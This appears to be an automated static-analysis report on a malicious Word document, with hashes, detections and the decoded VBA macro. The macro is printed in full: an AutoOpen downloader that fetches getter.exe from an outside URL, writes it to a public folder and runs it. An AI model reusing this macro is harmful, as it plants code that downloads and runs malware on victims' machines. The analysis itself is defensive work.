Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 13d8d2bdb5c30c35…

MALICIOUS

Office (OOXML)

76.5 KB Created: 2018-05-30 00:11:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2018-06-19
MD5: 085c0e8874819f7aac927870b894b560 SHA-1: d028a23038a1fecde074a7207d106f09d18a747f SHA-256: 13d8d2bdb5c30c356ec7efb7df41de67009efd06fb324b34eadc781cc47cea13
330 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros, specifically an AutoOpen subroutine, which is a common technique for malicious Office documents. The script attempts to download a file named 'getter.exe' from 'http://celebiclient.ml/files/windows7/getter.exe' and save it to 'c:\users\public\getter.exe'. It then executes this downloaded file using the Shell() function. This indicates a downloader or droppper functionality.

Heuristics 8

  • ClamAV: Doc.Macro.Downloader-6360614-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Downloader-6360614-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("c:\users\public\getter.exe")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .write xHttp.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://celebiclient.ml/files/windows7/getter.exe Referenced by macro
    • http://celebiclient.ml/files/windows7/getter.exe�Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 708 bytes
SHA-256: 85c970b23181e99ca7a75ab17d3e0ee936c83b45e982f37de6725f0bafd9c624
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://celebiclient.ml/files/windows7/getter.exe", False
xHttp.Send

With bStrm
    .Type = 1 '//binary
    .Open
    .write xHttp.responseBody
    .savetofile "c:\users\public\getter.exe", 2 '//overwrite
End With

Shell ("c:\users\public\getter.exe")

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: a0a740029eea2e5b55e7fb47673ca6ea0d3579c983825369433ee0cce2aaede4
Detection
ClamAV: Doc.Macro.Downloader-6360614-0
Obfuscation or payload: unlikely